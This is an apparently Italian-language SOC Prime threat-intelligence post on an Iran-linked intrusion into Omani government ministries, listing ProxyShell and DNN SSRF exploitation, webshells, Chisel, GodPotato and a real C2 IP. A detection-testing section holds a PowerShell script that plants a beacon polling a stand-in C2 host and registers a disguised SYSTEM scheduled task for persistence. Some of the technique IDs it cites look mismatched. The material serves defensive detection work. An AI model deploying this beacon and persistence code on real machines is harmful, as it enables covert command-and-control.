SOC Prime Bias: Critico

07 Mag 2026 18:33

Attacco con legami iraniani espone 26.000 registri di cittadini in Oman

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Attacco con legami iraniani espone 26.000 registri di cittadini in Oman
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sintesi

Un attore di minacce iraniano allineato con lo stato ha compromesso diversi ministeri governativi in Oman utilizzando webshell, exploit ProxyShell e un ambiente di comando e controllo personalizzato ospitato su un VPS con sede negli Emirati Arabi Uniti. Gli attaccanti hanno esfiltrato oltre 26.000 record utente e registri, quindi hanno distribuito strumenti post-compromissione tra cui Chisel e GodPotato per approfondire l’accesso. L’operazione è stata ulteriormente esposta da una directory aperta che ha rivelato involontariamente gli strumenti, gli script e i log C2 degli attaccanti, fornendo visibilità sull’intero ciclo di vita dell’intrusione.

Indagine

I ricercatori hanno avuto accesso al VPS esposto a 172.86.76.127 e hanno identificato webshell, script di comando e controllo basati su Python, strumenti di escalation dei privilegi e svariati script di exploit mirati a ProxyShell e alla vulnerabilità DNN SSRF. I log di rete hanno mostrato attività di beaconing sulle porte 8001 and 8002, insieme all’utilizzo di tunnel Chisel per accessi coperti. L’indagine ha documentato anche la creazione di attività pianificate, l’estrazione di registri e grandi quantità di dati dai sistemi compromessi.

Mitigazione

Le organizzazioni dovrebbero applicare tutte le patch relative a ProxyShell in Microsoft Exchange e risolvere il problema DNN SSRF tracciato come CVE-2025-32372. Le applicazioni web dovrebbero essere fortificate, gli account IIS dovrebbero funzionare con il minor numero di privilegi e le pagine ASP.NET non utilizzate dovrebbero essere disabilitate laddove possibile. I difensori dovrebbero anche distribuire firewall per applicazioni web, monitorare il traffico in uscita su porte insolite e ispezionare regolarmente i server esposti a Internet per directory abbandonate o esposte.

Risposta

I team di sicurezza dovrebbero creare rilevamenti per modelli di accesso ai webshell, comportamento di beaconing PowerShell, attività di tunnel Chisel e creazione sospetta di attività pianificate. Gli addetti alla risposta agli incidenti dovrebbero raccogliere i log del server web, i registri e eventuali dump del database per l’analisi forense. I sistemi colpiti dovrebbero essere isolati, le credenziali ruotate e le autorità o parti interessate omanite rilevanti notificate senza indugio.

"graph TB %% Class Definitions Section classDef technique fill:#c2e0ff classDef tool fill:#cccccc %% Node Definitions u2013 Techniques initial_access["<b>Technique</b> – <b>T1190 Exploit Public-Facing Application</b><br/>Method: ProxyShell & DNN SSRF"] class initial_access technique remote_services["<b>Technique</b> – <b>T1210 Exploitation of Remote Services</b><br/>Lateral movement"] class remote_services technique web_shell["<b>Technique</b> – <b>T1505.003 Web Shell</b><br/>Deployed: hc2.aspx / health_check_t.aspx"] class web_shell technique c2_bidir["<b>Technique</b> – <b>T1102.002 Web Service Bidirectional Communication</b><br/>HTTP C2 server"] class c2_bidir technique tunneling["<b>Technique</b> – <b>T1572 Protocol Tunneling</b> & <b>T1219.001 IDE Tunneling</b><br/>Tool: Chisel"] class tunneling technique weaken_enc["<b>Technique</b> – <b>T1600 Weaken Encryption</b><br/>Applied to tunnel"] class weaken_enc technique priv_esc["<b>Technique</b> – <b>T1134.003 Access Token Manipulation</b> & <b>T1068 Exploitation for Privilege Escalation</b><br/>Tool: GodPotato"] class priv_esc technique account_manip["<b>Technique</b> – <b>T1098 Account Manipulation</b><br/>Maintain elevated rights"] class account_manip technique cred_access["<b>Technique</b> – <b>T1012 Query Registry</b><br/>Steal SAM/System hives"] class cred_access technique def_evasion["<b>Technique</b> – <b>T1562 Impair Defenses</b> & <b>T1668 Exclusive Control</b><br/>Disable AV"] class def_evasion technique discovery["<b>Technique</b> – <b>T1592.002 Gather Victim Host Info</b> & <b>T1590.001 Network Domain Properties</b>"] class discovery technique exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b> & <b>T1030 Data Transfer Size Limits</b>"] class exfiltration technique oneway["<b>Technique</b> – <b>T1102.003 One-Way Web Service Communication</b><br/>Result posting"] class oneway technique %% Node Definitions u2013 Tools / Malware tool_proxyshell["<b>Tool</b> – <b>Name</b>: ProxyShell<br/><b>Purpose</b>: Exploit Exchange Server"] class tool_proxyshell tool tool_chisel["<b>Tool</b> – <b>Name</b>: Chisel<br/><b>Purpose</b>: Tunneling"] class tool_chisel tool tool_godpotato["<b>Tool</b> – <b>Name</b>: GodPotato<br/><b>Purpose</b>: Privilege escalation"] class tool_godpotato tool %% Connections u2013 Attack Flow initial_access –>|leads_to| remote_services initial_access –>|uses| tool_proxyshell remote_services –>|leads_to| web_shell web_shell –>|enables| c2_bidir c2_bidir –>|uses| tunneling tunneling –>|uses| tool_chisel tunneling –>|enables| weaken_enc weaken_enc –>|enables| priv_esc priv_esc –>|uses| tool_godpotato priv_esc –>|enables| account_manip account_manip –>|enables| cred_access cred_access –>|enables| def_evasion def_evasion –>|enables| discovery discovery –>|enables| exfiltration exfiltration –>|uses| oneway "

Flusso dell’Attacco

Esecuzione della simulazione

Requisito: Il controllo preliminare sulla Telemetria e il Baseline deve essere passato.

Razionalità: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrativa e Comandi dell’Attacco:
    L’attaccante ha già ottenuto un punto d’appoggio sulla macchina vittima e desidera stabilire un beacon C2 a basso rumore. Rilascia lo script PowerShell new_beacon.ps1 nella cartella AppData dell’utente. Lo script viene eseguito in un ciclo infinito, interpellando un C2 remoto ogni 30 secondi. Ogni richiesta HTTP è realizzata con una stringa UA di Chrome per integrarsi con il traffico web normale, eludendo quindi i rilevamenti basati su rete (T1217, T1674). L’attaccante avvia il beacon tramite un’attività pianificata per garantire la persistenza (T1204.004).

  • Script di Test di Regressione:

    # -------------------------------------------------
    # Distribuisci e avvia il beacon PowerShell new_beacon
    # -------------------------------------------------
    $beaconPath = "$env:APPDATAnew_beacon.ps1"
    $c2Url = "http://malicious.example.com/beacon"
    
    # 1. Scrivi lo script del beacon (versione leggera simulata)
    $scriptContent = @'
    while ($true) {
        $headers = @{
            "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/118.0.5993.90 Safari/537.36"
        }
        try {
            Invoke-WebRequest -Uri "$using:c2Url" -Headers $headers -Method GET -TimeoutSec 10 | Out-Null
        } catch {}
        Start-Sleep -Seconds 30
    }
    '@
    Set-Content -Path $beaconPath -Value $scriptContent -Encoding UTF8
    
    # 2. Registra un'attività pianificata per la persistenza (si esegue ogni minuto)
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File `"$beaconPath`""
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration ([TimeSpan]::MaxValue)
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
    Register-ScheduledTask -TaskName "SystemUpdater" -Action $action -Trigger $trigger -Principal $principal -Force
    
    Write-Host "Beacon distribuito e attività pianificata creata."
  • Comandi di Pulizia:

    # -------------------------------------------------
    # Rimuovi il beacon e l'attività pianificata
    # -------------------------------------------------
    $beaconPath = "$env:APPDATAnew_beacon.ps1"
    Unregister-ScheduledTask -TaskName "SystemUpdater" -Confirm:$false
    Remove-Item -Path $beaconPath -Force -ErrorAction SilentlyContinue
    Write-Host "Pulizia completata."